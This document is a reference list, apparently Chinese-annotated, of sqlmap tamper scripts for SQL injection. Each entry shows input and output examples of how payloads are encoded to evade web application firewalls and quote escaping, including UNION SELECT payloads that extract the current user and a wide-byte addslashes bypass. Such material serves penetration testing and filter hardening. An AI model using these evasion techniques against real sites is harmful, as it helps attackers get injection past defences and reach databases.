space2comment.py
Replaces space character (‘ ‘) with comments ‘/**/’
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
——————————————————————————-
charencode.py
url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
—————————————————————————————
charunicodeencode.py
字符串 unicode 编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql) Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Example: * Input: SELECT id FROM users * Output: SELECT%0Bid%0BFROM%A0users Requirement: * MySQL Tested against: * MySQL 5.1 # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) # – A0 - (MySQL only) ———————————————————————————- chardoubleencode.py 双url编码(不处理以编码的) Example: * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 ——————————————————————————— percentage.py asp允许每个字符前面添加一个%号 Adds a percentage sign (‘%’) infront of each character Example: * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 ———————————————————— randomcase.py 随机大小写 Replaces each keyword character with random case value Example: * Input: INSERT * Output: InsERt Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 ————————————————— randomcomments.py 用/**/分割sql关键字 Add random comments to SQL keywords Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’ ————————————————————- versionedmorekeywords.py 注释绕过 Encloses each keyword with versioned MySQL comment Example: * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# Requirement: * MySQL >= 5.1.13 ———————————————————————— versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment Example: * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# Requirement: * MySQL ———————————————————————- unmagicquotes.py 宽字符绕过 GPC addslashes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 Notes: * Useful for bypassing magic_quotes/addslashes feature ——————————————————————————– equaltolike.py like 代替等号 Example: * Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1 Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 —————————————————————————- 关键字前加注释 halfversionedmorekeywords.py Example: * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa Requirement: * MySQL < 5.1 Tested against: * MySQL 4.0.18, 5.0.22
